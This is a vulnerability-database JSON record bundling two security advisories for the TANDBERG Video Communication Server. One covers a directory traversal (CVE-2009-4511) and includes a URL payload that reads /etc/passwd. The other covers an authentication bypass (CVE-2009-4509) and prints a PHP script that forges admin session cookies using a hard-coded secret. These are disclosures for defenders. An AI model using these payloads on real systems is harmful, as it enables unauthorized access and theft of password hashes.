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{"id": "PACKETSTORM:88240", "vendorId": null, "type": "packetstorm", "bulletinFamily": "exploit", "title": "Tandberg VCS Arbitrary File Retrieval", "description": "", "published": "2010-04-12T00:00:00", "modified": "2010-04-12T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:NONE/A:NONE/", "score": 4.0}, "cvss2": {}, "cvss3": {}, "href": "https://packetstormsecurity.com/files/88240/Tandberg-VCS-Arbitrary-File-Retrieval.html", "reporter": "Timothy D. Morgan", "references": [], "cvelist": ["CVE-2009-4511"], "immutableFields": [], "lastseen": "2016-12-05T22:23:53", "viewCount": 14, "enchantments": {"score": {"value": 0.7, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2009-4511"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:23622", "SECURITYVULNS:DOC:23623", "SECURITYVULNS:VULN:10756"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2009-4511"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10756"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2009-4511", "epss": "0.013090000", "percentile": "0.838270000", "modified": "2023-03-15"}], "vulnersScore": 0.7}, "_state": {"dependencies": 1678911500, "score": 1678911848, "epss": 1678921929}, "_internal": {"score_hash": "806265c2483e6f5e9137d17444fe58b2"}, "sourceHref": "https://packetstormsecurity.com/files/download/88240/tandberg-fileretrieval.txt", "sourceData": "`-----BEGIN PGP SIGNED MESSAGE----- \nHash: SHA1 \n \n \n \nVirtual Security Research, LLC. \nhttp://www.vsecurity.com/ \nSecurity Advisory \n \n \n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \n \nAdvisory Name: TANDBERG Video Communication Server Arbitrary File Retrieval \nRelease Date: 2010-04-09 \nApplication: Video Communication Server (VCS) \nVersions: x4.3.0, x4.2.1, and possibly earlier \nSeverity: Medium \nDiscovered by: Jon Hart \nAdvisory by: Timothy D. Morgan <tmorgan (a) vsecurity . com> \nVendor Status: Firmware update released [2] \nCVE Candidate: CVE-2009-4511 \nReference: http://www.vsecurity.com/resources/advisory/20100409-3/ \n \n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \n \n \nProduct Description \n- ------------------- \n- From [1]: \n \n\"The Video Communication Server (VCS) is an integral part of the TANDBERG \nTotal Solution and is the center of the video communications network, \nconnecting the benefits of video conferencing and telepresence to other \ncommunications environments including unified communications and IP Telephony \nnetworks.\" \n \n \nVulnerability Overview \n- ---------------------- \nOn December 3rd, VSR identified a directory traversal and file retrieval \nvulnerability in the TANDBERG's Video Communication Server. This issue would \nallow an authenticated attacker (who has access as an administrator or less \nprivileged user on the web administration interface) to retrieve files from the \nfilesystem which are readable by the \"nobody\" system user. \n \n \nProduct Background \n- ------------------ \nThe TANDBERG Video Communication Server is a Linux-based appliance which \nsupports the interoperation of a plethora of video and voice communications \ndevices. The VCS provides a web-based management interface implemented in PHP \nwhich allows administrators to perform a wide variety of actions, including \nconfiguration of the device, management of user accounts, firmware updates, \nalong with number of other items. \n \n \nVulnerability Details \n- --------------------- \nThe TANDBERG VCS web management interface provides two nearly identical scripts \nat URLs: \nhttps://vulnerable.example.com/helppage.php \nhttps://vulnerable.example.com/user/helppage.php \n \nThese help pages accept a \"file\" parameter in the URL which can be used to \nretrieve nearly arbitrary files from the filesystem. The relevant source code \nfor these pages is as follows: \n \n// The following is Copyright (C) 2009 TANDBERG // \n... \n// Grab the content before we write anything: we'll need it for the title tag in the <head> \n// Dig out the page title, from the <title> tag, \n// then remove any surround in the page as we add our own... \n$filename = $this->helpPagePath . $_GET['page'] . $this->helpPageSuffix; \n \nif (! file_exists($filename)) { \n$helpHTML = \"There is no help available for the \". $_GET['page'] . \" page<br/>\"; \n$pageTitle = $_GET['page']; \n}else{ \n$helpHTML = file_get_contents($filename); \n \n... \n \necho \"\\n<!-- ********** -->\\n\"; \necho $helpHTML; \necho \"<!-- ********** -->\\n\"; \n... \n// end of excerpt // \n \n \nHere, the final path string ($filename) loaded and displayed to the user is \nprepended with a directory and appended with a file extension. Using simple \ndirectory traversal techniques (\"../\") it is possible to traverse to any \ndirectory on the filesystem. Using a trailing NUL byte encoded in the URL (%00) \nit is also possible to truncate the file path to eliminate the file extension. \n \nFor instance, the following URL retrieves the /etc/passwd file: \n \nhttps://vulnerable.example.com/helppage.php?page=../../../../etc/passwd%00 \n \n \nDuring testing, it was found that the x4.2.1 firmware runs the web server as the \n\"nobody\" user, which somewhat limits the amount of sensitive information that \nmay be obtained. However, since shadowed passwords were not configured, it was \npossible to retrieve all local system users' password hashes from /etc/passwd. \nAdditional password hashes are available in /tandberg/persistent/etc/digest. \n \n \nVersions Affected \n- ----------------- \nVSR has successfully exploited this issue in firmware version x4.2.1. Based on \npreliminary source code analysis[2], versions x4.3.0 and x5.0 also appear to be \nvulnerable. Earlier versions have not been tested. \n \n \nVendor Response \n- --------------- \nThe following timeline details TANDBERG's response to the reported issue: \n \n2009-12-09 Preliminary notice to TANDBERG. TANDBERG responded immediately. \n \n2009-12-22 VSR provided TANDBERG a draft advisory. \n \n2009-12-28 TANDBERG provided VSR with a beta version of the x5.0 firmware, \nbut this did not appear to correct the issue (based on PHP code \nanalysis alone). \n \n2010-01-22 TANDBERG provided VSR with a beta version of the x5.1 firmware \nfor testing which appeared to correct the vulnerability. \n \n2010-03-26 TANDBERG provided VSR with a release candidate firmware for \nversion x5.1.1. \n \n2010-04-07 TANDBERG VCS firmware version x5.1.1 released [2]. \n \n2010-04-09 VSR advisory released. \n \n \nRecommendation \n- -------------- \nUpgrade to version x5.1.1 to correct this issue. Temporary mitigation may be \nachieved by disabling access for potentially less trusted, non-adminstrative \nusers. \n \n \nCommon Vulnerabilities and Exposures (CVE) Information \n- ------------------------------------------------------ \nThe Common Vulnerabilities and Exposures (CVE) project has assigned \nthe number CVE-2009-4511 to this issue. This is a candidates for \ninclusion in the CVE list (http://cve.mitre.org), which standardizes \nnames for security problems. \n \n \nAcknowledgements \n- ---------------- \nThanks to TANDBERG for the quick initial response and cooperation. \n \n \n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \n \nReferences: \n \n1. TANDBERG - Video Communication Server \nhttp://www.tandberg.com/video-conferencing-network-infrastructure/video-communication-server.jsp \n \n2. TANDBERG VCS Firmware Downloads \nhttp://ftp.tandberg.com/pub/software/vcs/ \n \n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \nCopyright 2009,2010 Virtual Security Research, LLC. All rights reserved. \n \n-----BEGIN PGP SIGNATURE----- \nVersion: GnuPG v1.4.10 (GNU/Linux) \n \niD8DBQFLv/bkQ1RSUNR+T+gRAuThAKCTilCnuTbLWgK1U/ByAPeY9VWQGwCfZsOO \n+uOm1DQpX16KuhclPLBcdfg= \n=TQ5s \n-----END PGP SIGNATURE----- \n \n`\n"}

{"securityvulns": [{"lastseen": "2018-08-31T11:10:34", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n\r\n\r\n Virtual Security Research, LLC.\r\n http://www.vsecurity.com/\r\n Security Advisory\r\n\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nAdvisory Name: TANDBERG Video Communication Server Arbitrary File Retrieval\r\n Release Date: 2010-04-09\r\n Application: Video Communication Server &#40;VCS&#41;\r\n Versions: x4.3.0, x4.2.1, and possibly earlier\r\n Severity: Medium\r\nDiscovered by: Jon Hart\r\n Advisory by: Timothy D. Morgan &lt;tmorgan &#40;a&#41; vsecurity . com&gt;\r\nVendor Status: Firmware update released [2]\r\nCVE Candidate: CVE-2009-4511\r\n Reference: http://www.vsecurity.com/resources/advisory/20100409-3/\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\n\r\nProduct Description\r\n- -------------------\r\n- From [1]:\r\n\r\n &quot;The Video Communication Server &#40;VCS&#41; is an integral part of the TANDBERG \r\n Total Solution and is the center of the video communications network, \r\n connecting the benefits of video conferencing and telepresence to other \r\n communications environments including unified communications and IP Telephony\r\n networks.&quot;\r\n\r\n\r\nVulnerability Overview\r\n- ----------------------\r\nOn December 3rd, VSR identified a directory traversal and file retrieval\r\nvulnerability in the TANDBERG&#39;s Video Communication Server. This issue would\r\nallow an authenticated attacker &#40;who has access as an administrator or less\r\nprivileged user on the web administration interface&#41; to retrieve files from the\r\nfilesystem which are readable by the &quot;nobody&quot; system user.\r\n\r\n\r\nProduct Background\r\n- ------------------\r\nThe TANDBERG Video Communication Server is a Linux-based appliance which\r\nsupports the interoperation of a plethora of video and voice communications\r\ndevices. The VCS provides a web-based management interface implemented in PHP\r\nwhich allows administrators to perform a wide variety of actions, including\r\nconfiguration of the device, management of user accounts, firmware updates, \r\nalong with number of other items.\r\n\r\n\r\nVulnerability Details\r\n- ---------------------\r\nThe TANDBERG VCS web management interface provides two nearly identical scripts\r\nat URLs:\r\n https://vulnerable.example.com/helppage.php\r\n https://vulnerable.example.com/user/helppage.php\r\n\r\nThese help pages accept a &quot;file&quot; parameter in the URL which can be used to\r\nretrieve nearly arbitrary files from the filesystem. The relevant source code\r\nfor these pages is as follows:\r\n\r\n// The following is Copyright &#40;C&#41; 2009 TANDBERG //\r\n...\r\n// Grab the content before we write anything: we&#39;ll need it for the title tag in the &lt;head&gt;\r\n// Dig out the page title, from the &lt;title&gt; tag, \r\n// then remove any surround in the page as we add our own... \r\n$filename = $this-&gt;helpPagePath . $_GET[&#39;page&#39;] . $this-&gt;helpPageSuffix;\r\n \r\nif &#40;! file_exists&#40;$filename&#41;&#41; {\r\n $helpHTML = &quot;There is no help available for the &quot;. $_GET[&#39;page&#39;] . &quot; page&lt;br/&gt;&quot;;\r\n $pageTitle = $_GET[&#39;page&#39;];\r\n}else{\r\n $helpHTML = file_get_contents&#40;$filename&#41;;\r\n\r\n...\r\n\r\n echo &quot;&#92;n&lt;!-- ********** --&gt;&#92;n&quot;;\r\n echo $helpHTML;\r\n echo &quot;&lt;!-- ********** --&gt;&#92;n&quot;;\r\n...\r\n// end of excerpt //\r\n\r\n\r\nHere, the final path string &#40;$filename&#41; loaded and displayed to the user is\r\nprepended with a directory and appended with a file extension. Using simple\r\ndirectory traversal techniques &#40;&quot;../&quot;&#41; it is possible to traverse to any\r\ndirectory on the filesystem. Using a trailing NUL byte encoded in the URL &#40;&#37;00&#41;\r\nit is also possible to truncate the file path to eliminate the file extension.\r\n\r\nFor instance, the following URL retrieves the /etc/passwd file:\r\n\r\n https://vulnerable.example.com/helppage.php?page=../../../../etc/passwd&#37;00\r\n\r\n\r\nDuring testing, it was found that the x4.2.1 firmware runs the web server as the\r\n&quot;nobody&quot; user, which somewhat limits the amount of sensitive information that\r\nmay be obtained. However, since shadowed passwords were not configured, it was\r\npossible to retrieve all local system users&#39; password hashes from /etc/passwd. \r\nAdditional password hashes are available in /tandberg/persistent/etc/digest.\r\n\r\n\r\nVersions Affected\r\n- -----------------\r\nVSR has successfully exploited this issue in firmware version x4.2.1. Based on\r\npreliminary source code analysis[2], versions x4.3.0 and x5.0 also appear to be\r\nvulnerable. Earlier versions have not been tested.\r\n\r\n\r\nVendor Response\r\n- ---------------\r\nThe following timeline details TANDBERG&#39;s response to the reported issue:\r\n\r\n2009-12-09 Preliminary notice to TANDBERG. TANDBERG responded immediately.\r\n\r\n2009-12-22 VSR provided TANDBERG a draft advisory.\r\n\r\n2009-12-28 TANDBERG provided VSR with a beta version of the x5.0 firmware,\r\n but this did not appear to correct the issue &#40;based on PHP code\r\n analysis alone&#41;.\r\n\r\n2010-01-22 TANDBERG provided VSR with a beta version of the x5.1 firmware \r\n for testing which appeared to correct the vulnerability.\r\n\r\n2010-03-26 TANDBERG provided VSR with a release candidate firmware for \r\n version x5.1.1.\r\n\r\n2010-04-07 TANDBERG VCS firmware version x5.1.1 released [2].\r\n\r\n2010-04-09 VSR advisory released.\r\n\r\n\r\nRecommendation\r\n- --------------\r\nUpgrade to version x5.1.1 to correct this issue. Temporary mitigation may be \r\nachieved by disabling access for potentially less trusted, non-adminstrative\r\nusers.\r\n\r\n\r\nCommon Vulnerabilities and Exposures &#40;CVE&#41; Information\r\n- ------------------------------------------------------\r\nThe Common Vulnerabilities and Exposures &#40;CVE&#41; project has assigned\r\nthe number CVE-2009-4511 to this issue. This is a candidates for\r\ninclusion in the CVE list &#40;http://cve.mitre.org&#41;, which standardizes\r\nnames for security problems.\r\n\r\n\r\nAcknowledgements\r\n- ----------------\r\nThanks to TANDBERG for the quick initial response and cooperation.\r\n\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nReferences:\r\n\r\n1. TANDBERG - Video Communication Server\r\n http://www.tandberg.com/video-conferencing-network-infrastructure/video-communication-server.jsp\r\n\r\n2. TANDBERG VCS Firmware Downloads\r\n http://ftp.tandberg.com/pub/software/vcs/\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n Copyright 2009,2010 Virtual Security Research, LLC. All rights reserved.\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 &#40;GNU/Linux&#41;\r\n\r\niD8DBQFLv/bkQ1RSUNR+T+gRAuThAKCTilCnuTbLWgK1U/ByAPeY9VWQGwCfZsOO\r\n+uOm1DQpX16KuhclPLBcdfg=\r\n=TQ5s\r\n-----END PGP SIGNATURE-----", "cvss3": {}, "published": "2010-04-14T00:00:00", "type": "securityvulns", "title": "CVE-2009-4511: TANDBERG VCS Arbitrary File Retrieval", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2009-4511"], "modified": "2010-04-14T00:00:00", "id": "SECURITYVULNS:DOC:23622", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:23622", "sourceData": "", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2021-06-08T19:13:54", "description": "Static ssh key, authentication bypass, files access.", "cvss3": {}, "published": "2010-04-14T00:00:00", "type": "securityvulns", "title": "TANDBERG Video Communication Server multiple security vulnerabilities", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2009-4511", "CVE-2009-4510", "CVE-2009-4509"], "modified": "2010-04-14T00:00:00", "id": "SECURITYVULNS:VULN:10756", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:10756", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:34", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n\r\n\r\n Virtual Security Research, LLC.\r\n http://www.vsecurity.com/\r\n Security Advisory\r\n\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nAdvisory Name: TANDBERG Video Communication Server Authentication Bypass\r\n Release Date: 2010-04-09\r\n Application: Video Communication Server &#40;VCS&#41;\r\n Versions: x4.2.1 and possibly earlier\r\n Severity: Critical\r\nDiscovered by: Jon Hart and Timothy D. Morgan\r\n Advisory by: Timothy D. Morgan &lt;tmorgan &#40;a&#41; vsecurity . com&gt;\r\nVendor Status: Update released &#40;without security advisory&#41; on October 9, 2009\r\nCVE Candidate: CVE-2009-4509\r\n Reference: http://www.vsecurity.com/resources/advisory/20100409-1/\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\n\r\nProduct Description\r\n- -------------------\r\n- From [1]:\r\n\r\n &quot;The Video Communication Server &#40;VCS&#41; is an integral part of the TANDBERG \r\n Total Solution and is the center of the video communications network, \r\n connecting the benefits of video conferencing and telepresence to other \r\n communications environments including unified communications and IP Telephony\r\n networks.&quot;\r\n\r\n\r\nVulnerability Overview\r\n- ----------------------\r\nOn December 2nd, VSR identified an authentication bypass vulnerability in \r\nTANDBERG&#39;s Video Communication Server, firmware version x4.2.1. This \r\nvulnerability allows for the complete bypass of authentication in the\r\nadministrative web console. Since this web interface can be used to execute \r\narbitrary code on the appliance as root &#40;via software updates&#41;, the severity is\r\nconsidered critical.\r\n\r\n\r\nProduct Background\r\n- ------------------\r\nThe TANDBERG Video Communication Server is a Linux-based appliance which\r\nsupports the interoperation of a plethora of video and voice communications\r\ndevices. The VCS provides a web-based management interface implemented in PHP\r\nwhich allows administrators to perform a wide variety of actions, including\r\nconfiguration of the device, management of user accounts, firmware updates, \r\nalong with number of other items.\r\n\r\n\r\nVulnerability Details\r\n- ---------------------\r\nThe TANDBERG VCS web management interface utilizes custom cookies for the\r\npurpose of session management. In version x4.2.1 of the appliance firmware \r\n&#40;and possibly earlier versions&#41;, it is possible to forge session cookies with\r\nrelatively little knowledge of the appliance&#39;s configuration.\r\n\r\nThe vulnerability lies in the files located at the following paths:\r\n /tandberg/web/lib/secure.php\r\n /tandberg/web/user/lib/secure.php\r\n\r\nRoutines in these files generate user session cookies in roughly the following\r\nway:\r\n\r\nSECRET = SERVER_ADDRESS + STATIC_VALUE\r\nHASH = md5&#40;USERNAME + SECRET + CLIENT_ADDRESS + CURRENT_TIME&#41;\r\nCOOKIE = USERNAME + ACCESS_RIGHTS + CLIENT_ADDRESS + CURRENT_TIME + HASH\r\n\r\nIn the above pseudocode, the SERVER_ADDRESS represents the VCS system&#39;s IP\r\naddress, STATIC_VALUE represents a fixed string which is hard-coded into the\r\napplication source, USERNAME is the authenticated user name, CLIENT_ADDRESS is\r\nthe IP address of the user&#39;s system, CURRENT_TIME is a simple UNIX time stamp, \r\nand ACCESS_RIGHTS is an integer denoting the level of access assigned to the\r\nuser.\r\n\r\nNote, that none of the information above is difficult to guess. Any owner of a \r\nTANDBERG VCS would have access to the STATIC_VALUE &#40;and in fact, this value is\r\ncontained in the firmware updates[2]&#41;. All TANDBERG appliances have a default\r\nuser name of &quot;admin&quot; which has full privileges. Therefore, it is possible with\r\na simple PHP script to forge new cookies and access the administrative\r\ninterface:\r\n\r\n// NOTE: Portions of the following code are Copyright &#40;C&#41; 2009 TANDBERG //\r\nfunction objectToCookie&#40;$obj&#41;\r\n{\r\n $cookie = serialize&#40;$obj&#41;;\r\n $cookie = gzcompress&#40;$cookie&#41;;\r\n $cookie = base64_encode&#40;$cookie&#41;;\r\n return $cookie;\r\n}\r\n\r\nfunction genCookie&#40;$server_addr, $remote_addr&#41;\r\n{\r\n $user_name = &quot;root&quot;;\r\n $secret = $server_addr . &quot;139EF012B6A714A3BE0A867616C7F8&quot;;\r\n $time = time&#40;&#41;+24*60*60;\r\n $id_hash = md5&#40;$user_name . $secret . $remote_addr . $time&#41;;\r\n $access = 1; // ReadWrite\r\n\r\n $login_cookie =\r\n array&#40; &quot;user_name&quot; =&gt; $user_name,\r\n &quot;access&quot; =&gt; $access,\r\n &quot;id_hash&quot; =&gt; $id_hash,\r\n &quot;ip&quot; =&gt; $remote_addr,\r\n &quot;time&quot; =&gt; $time\r\n &#41;;\r\n\r\n return objectToCookie&#40;$login_cookie&#41;;\r\n}\r\n\r\nprint &quot;Cookie: tandberg_login=&quot; \r\n . urlencode&#40;genCookie&#40;&quot;{{SERVER_IP}}&quot;, &quot;{{CLIENT_IP}}&quot;&#41;&#41; \r\n . &quot;&#92;n&quot;;\r\n// end of script //\r\n\r\n\r\nTANDBERG released firmware version x4.3.0 which corrects this issue on \r\nOctober 9, 2009 &#40;prior to discovery of the vulnerability by VSR&#41;. The release\r\nnotes[3] for this updated version contain a description of the issue:\r\n\r\n&quot;Improved the security of the web interface to ensure that the system will not,\r\n under any circumstances, allow an authenticated user to escalate their session\r\n to more advanced privileges [Ref # 65050].&quot;\r\n\r\nHowever, VSR felt this does not adequately describe the problem. Clearly, as\r\nthe above exploit and pseudocode demonstrate, it would be possible to alter an\r\nexisting login session cookie to provide elevated &quot;access&quot; values without\r\nupdating the MD5 hash, since this value isn&#39;t included when the hash is\r\ngenerated. However, the larger issue is that cookies can be forged from scratch\r\nwithout an existing session.\r\n\r\nIn addition to this lack of clarity, no apparent security advisory for this \r\nissue was released to the public via the normal channels &#40;nor was it recorded in\r\nthe CVE as of this writing&#41;. Therefore, VSR felt it is in the public interest to\r\nshed further light on the problem.\r\n\r\n\r\n\r\nVersions Affected\r\n- -----------------\r\nVSR has successfully exploited this issue in version x4.2.1. Earlier versions\r\nmay also be affected. Version x4.3.0 corrects the problem through use of a\r\nrandom secret and the inclusion of the &quot;access&quot; value in the hash.\r\n\r\n\r\nVendor Response\r\n- ---------------\r\nThe following timeline details TANDBERG&#39;s response to the reported issue:\r\n\r\n2009-12-09 Preliminary notice to TANDBERG. TANDBERG responded immediately.\r\n\r\n2009-12-22 VSR provided TANDBERG a draft advisory.\r\n\r\n2009-12-28 TANDBERG confirmed that this issue was corrected in version x4.3.\r\n\r\n2010-04-07 TANDBERG VCS firmware version x5.1.1 released [2] which corrected\r\n other flaws identified by VSR.\r\n\r\n2010-04-09 VSR advisory released.\r\n\r\n\r\n\r\nRecommendation\r\n- --------------\r\nUpgrade to firmware version x4.3.0 &#40;or newer&#41; as soon as possible. If this is\r\nnot immediately possible, temporary mitigation could be achieved by changing\r\nthe &quot;$this-&gt;secret&quot; constant in the following files to something unpredictable:\r\n /tandberg/web/lib/secure.php\r\n /tandberg/web/user/lib/secure.php\r\n\r\nNote that other vulnerabilities were identified in firmware versions prior to\r\nx5.1.1. Therefore, upgrading to this version is recommended. See CVE-2009-4510\r\nand CVE-2009-4511 for more information.\r\n\r\n\r\nCommon Vulnerabilities and Exposures &#40;CVE&#41; Information\r\n- ------------------------------------------------------\r\nThe Common Vulnerabilities and Exposures &#40;CVE&#41; project has assigned\r\nthe number CVE-2009-4509 to this issue. This is a candidates for\r\ninclusion in the CVE list &#40;http://cve.mitre.org&#41;, which standardizes\r\nnames for security problems.\r\n\r\n\r\nAcknowledgements\r\n- ----------------\r\nThanks to TANDBERG for the quick initial response and cooperation.\r\n\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n\r\nReferences:\r\n\r\n1. TANDBERG - Video Communication Server\r\n http://www.tandberg.com/video-conferencing-network-infrastructure/video-communication-server.jsp\r\n\r\n2. TANDBERG VCS Firmware Downloads\r\n http://ftp.tandberg.com/pub/software/vcs/\r\n\r\n3. TANDBERG VCS Version x4 Software Release Notes\r\n http://ftp.tandberg.com/pub/software/vcs/TANDBERG&#37;20Video&#37;20Communication&#37;20Server&#37;20Software&#37;20Release&#37;20Notes&#37;20&#40;X4&#41;.pdf\r\n\r\n- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n Copyright 2009,2010 Virtual Security Research, LLC. All rights reserved.\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 &#40;GNU/Linux&#41;\r\n\r\niD8DBQFLv/V9Q1RSUNR+T+gRAggEAJ492/MpyOUcUgpTtKCJHHOed920hQCfexkq\r\n5hYHqemkmGHiM1F4/7QzPXk=\r\n=jbo1\r\n-----END PGP SIGNATURE-----", "cvss3": {}, "published": "2010-04-14T00:00:00", "type": "securityvulns", "title": "CVE-2009-4509: TANDBERG VCS Authentication Bypass", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2009-4511", "CVE-2009-4510", "CVE-2009-4509"], "modified": "2010-04-14T00:00:00", "id": "SECURITYVULNS:DOC:23623", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:23623", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2023-02-09T14:08:28", "description": "Multiple directory traversal vulnerabilities in the web administration interface on the TANDBERG Video Communication Server (VCS) before X5.1 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the page parameter to (1) helppage.php or (2) user/helppage.php.", "cvss3": {}, "published": "2010-04-13T17:30:00", "type": "cve", "title": "CVE-2009-4511", "cwe": ["CWE-200"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-4511"], "modified": "2018-10-10T19:49:00", "cpe": ["cpe:/a:vsecurity:tandberg_video_communication_server:x3.0.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x4.2.1", "cpe:/a:vsecurity:tandberg_video_communication_server:x2.1.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x4.3.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x1.1.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x1.2.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x4.2.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x3.1.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x1.0.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x4.1.0", "cpe:/a:vsecurity:tandberg_video_communication_server:x2.0.0"], "id": "CVE-2009-4511", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4511", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:vsecurity:tandberg_video_communication_server:x4.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x1.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x2.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x4.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x2.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x1.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x4.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x1.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:vsecurity:tandberg_video_communication_server:x4.2.0:*:*:*:*:*:*:*"]}]}